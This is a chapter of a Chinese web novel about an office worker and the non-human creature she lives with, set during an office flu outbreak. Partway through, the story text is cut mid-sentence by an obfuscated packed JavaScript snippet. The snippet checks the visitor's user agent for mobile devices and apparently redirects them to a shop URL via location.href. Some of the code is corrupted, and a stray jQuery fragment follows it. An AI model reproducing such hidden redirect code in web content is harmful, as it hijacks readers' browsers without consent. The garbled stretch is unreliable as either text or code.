风竹小说 > 都市言情 > 女主今天也在害怕[人外] > 19. 生病篇
    孟若若刚踏进办公室,一个脑袋从绿萝旁的工位探出来,嘴里学老鼠哔哔两声,挤眉弄眼的。

    她就懂了,有八卦。

    果不其然,开口便是:“宋姐请假了。”

    宋青云作为职场标兵,最早到最晚走,一年365天风雨无阻,从不休假,最厉害那年,扛着40°高烧,头顶退烧贴,照样训得她们不敢抬头。

    这样的女壮士居然会请假?

    妹子将一大早宋青云晕倒办公室的事情说出,孟若若整理手边资料册子的手停下。

    “这么严重,送去医院了没有?”

    “送去了……这不是重点。”

    妹子神神秘秘压低了声音,“重点是程总送去的。那个着急的劲儿,平日里悠哉悠哉什么都不急的人……我早说他俩不对劲。”

    孟若若:“什么不对劲?”

    “我怀疑他俩谈恋爱了。”

    妹子本想和她聊一聊发现的更多细节,没想到孟若若疑惑问:“他们要结婚了?”

    话题不知怎么扭到这上面,妹子满脸正经纠正:“谈恋爱不一定结婚的。”

    孟若若:“谈恋爱为什么不结婚?”

    妹子给孟若若一顿科普,“喜欢一个人呢,叫谈恋爱。认定一个人呢,才叫结婚。”

    那区别还是蛮大的,孟若若似有所思。

    这时江映葭踏进办公室来了,脸上戴着口罩,时不时咳嗽,眉目间带着倦容。

    孟若若立即将方才那些抛之脑后。她紧张上前,把着人的手摸摸,又汗又凉。

    “怎么病了?吃过药了吗?”

    江映葭:“没事,普通流感,吃过药了。最近好多人都生病,你也多注意,先别挨近我,小心传染你了。”

    这段时间,同个办公室内的确咳嗽声不断,陆陆续续请假了好些人。

    宋青云给每个人发了增强免疫力的药,茶水间里也备着感冒发烧的冲剂和药品。

    这不说孟若若还没察觉,好像就她和妹子还生龙活虎的了。

    听江映葭这话,孟若若不满地撅嘴,“我今年的病期已经满了,不会再生病!”

    江映葭笑着又是一阵剧烈咳嗽,像要把肺也咳出来。

    孟若若赶忙解下她的口罩,轻拍她背脊。

    旁边妹子递过来一杯温水,“你这样真的不要紧?要不,也请假吧。”

    江映葭喝口水,苍白的脸上仍是笑容。

    她看办公室一圈,摇头,“我要是走了,工作怎么办。本来就有那么多人请假,宋姐也病倒了,我们可是她们安心休假的后盾啊。”

    原来她也听见宋青云昏倒的话。

    “不行。”孟若若开口,不容置疑:“你请假休息,我会努力工作的。”

    她伸出胳膊,肌肉亮相:“都交给我吧!我有的是强健的体魄!”

    妹子像看见什么不得了的东西,对着那小鼓包的肌肉掏出手环,边拍照边赞叹:“不得了,不得了!若若,你什么时候有这体魄的?”

    孟若若说起自己每天坚持撸铁和打五行拳的事,引得妹子又是一阵哇塞。

    江映葭最终还是拗不过孟若若,请了假回去休息。

    办公室外窗白转昏黄,远处近处的大楼逐渐亮起一间间窗灯。

    夜近于墨,孟若若工位上垒高的文件终于只剩下一个,她起身去洗漱间冷水冲冲脸,拍拍,觉得精神多了。

    走回去时,妹子趴在工位上睡着了,嘴里还嘟囔着不知道说什么。

    孟若若轻轻给她披上衣服,把她桌上的文件挪到自己这边处理。

    她们的工作其实并不复杂,每天的量却是固定的。

    平时一个办公室内十来个人,每四个人负责一处乐土,分摊下来,每个人每天只需要处理几份文件就好,十分轻松。

    孟若若眼皮也开始打架,头一点一点的。

    看看时间,居然已经过了零点。

    难怪这么困。

    孟若若又去了一趟洗漱间,回来发现一个人坐在她工位上,正快速处理文件。

    青丝盘扎,身上穿着条纹病服。

    “宋姐,你……”

    宋青云扭头冷淡瞥她一眼,开口:“你们回去吧,剩下那些请假的人,我一个个算账。”

    “不,不是,宋姐,她们生病了才请假的,你别怪她们,工作没有身体重要的。”孟若若着急解释。

    宋青云啪一下把文件摔桌上,声音把八卦妹子吓醒了,衣服滑落在地。

    “发生什么了?地震吗?快跑……跑跑跑宋宋宋姐?您怎么来了?”

    孟若若和妹子两人四手瑟瑟抱在一旁,看着发火的宋青云,不敢说话。

    宋青云再一瞪眼,两人着急忙慌说自己回去了。

    程随意叼着烟慢慢走出,“告诉她们有人偷奸耍滑,她们会懂的。”

    宋青云处理文件的动作不停,甚至没有回头,满堂白炽灯光下,声音轻悠:“傻瓜的天真保护好就够了,世界上这样的人又不多。”

    程随意走近俯身贴近,口中的烟吐向她的脖颈,如迷雾扑玉。

    他笑声靡靡,在玉上献上轻吻,唇瓣流连滑蹭,“什么时候,也来保护保护我啊~”

    “滚。”

    *

    她没有回来。

    骗子。

    克西亚蹲守在黑漆漆的院门前,目光死死盯着外边,纸条在越发用力的手指尖,直至捻成粉末。

    为防止祂胡乱来,孟若若压了纸条,大致意思是让祂坚持坚持,晚上她就回来一类。

    晚风吹动繁茂的苏如树叶,花香弥漫在夜色,沙沙——沙沙——

    她要祂等着的。

    祂不想等。

    人为什么要工作,人为什么不能在家里陪着祂,人为什么要食言?

    眸光越发晦暗,四肢百骸涌上层层痒意。急切,嫉妒,压抑疯狂,齿关咯吱咯吱,克西亚终于等不下去了。

    祂要去,把人的工作大楼,通通拆除。

    生病中的克西亚,显然易燃易爆炸。

    “嘎——”院门停下一辆悬浮车,没人下车,就安静停着。

    克西亚闪身靠近,见到歪倒在车座上熟睡的孟若若。

    她应该很困,这么狭小的空间里蜷腿睡着,头发也睡得毛毛躁躁,那双水灵灵的眼睛紧闭,眉头微蹙。

    毫不犹豫的,克西亚将人抱进怀里,胸口沸腾的空洞终于填补上

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16952457|192720||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    清泉,涓涓细流,源源不断。

    她主动勾上祂的脖颈,似乎睁眼看了看,确定没错,小脑瓜子安心倒进祂胸膛,嘴里蚊语:“我回来了。”

    她脸蛋蹭蹭布料,眼睛实在睁不开了,喃喃着又睡去,“对……不起,等……”久了吧。

    克西亚身体僵得跟铁块没两样了。

    什么生气,拆除通通想不起来。

    身体发热,脑子也发热,祂想做什么,但不知道做什么。

    克西亚抱人进卧室,站在床边许久许久。

    温馨柔软的床铺在等待主人,克西亚恶狠狠盯床,盯被子,直到孟若若发出不适的嘤咛,祂还是将她放进床铺。

    孟若若落床的瞬间就自动扒拉着给自己裹被子了。

    小小的一团,只露出脑袋和凌乱发丝的脸蛋,克西亚感觉牙齿很痒,太痒了。

    祂坐在床边,凑近再凑近。

    小声,“原谅你。”

    第二天,孟若若刷牙时发现右手手指有一根格外的红。

    一整节指头区别于其他手指,嫣红嫣红的,不痒,有轻微的刺痛,指腹还有点肿,像被什么东西狠狠磨了许久。

    她以为自己得了什么不治之症,吓得摔坏了全世界仅有两只的水杯。

    顾不上打扫残片,孟若若赶紧手环戳开在线医生的短讯。

    “医生,医生!我的手怎么了?我是不是生了什么重病?”

    医生看过手指,冷静说没事,又问她有没有带实验品打疫苗。

    孟若若老实说没有。

    医生:“找个时间带去打打疫苗。”

    “哦,好,谢谢您了。”

    知道没大事的孟若若长舒一口气,手环恰好弹出一天消息,宋青云发来的。

    “因流感,即日起各部门成员在家办公,归期等待通知,文件会由小柴运送。收到回复。”

    这真是意外之喜,孟若若正愁没时间带克西亚打疫苗,没想到问题迎刃而解了。

    给宋青云发一个收到表情,孟若若哼着歌儿打扫玻璃渣。

    星纪时,下午三点整,她带着老实巴交的克西亚来到实验品专属医院。

    疫苗前需要体检,体检报告说明克西亚身体有异样,不建议立即打疫苗。

    正好在医院,孟若若就给挂了专家号。

    实验品鲜少生病,祂们自愈力强悍,一般用药后很快就能痊愈。

    可这几天克西亚的发热反反复复,外表看不出来什么,该吃吃该喝喝的,不过来都来了,仔细看看没什么不好。

    直待坐进问诊室,是一名头发花白,留着山羊胡须,有几分仙风道骨的医生看诊。

    老医生摸着胡须,微侧头,眼睛眯着,张口就是:“最近都吃什么药?”

    克西亚伸出一只手给老医生把脉,沉默不语。

    孟若若将最近的用药清单给老医生看过。医生皱眉,脸上的褶子收放,他把脉的手挪开,摇头。

    这看得孟若若心一揪一揪的,心里无数种坏结果闪过,“医生,祂,祂还有救吗?”

    老医生不紧不慢地捋胡子,眼皮一抬,“小毛病,离死还远呢。”

    小毛病这么大阵势,她都快吓鼠了。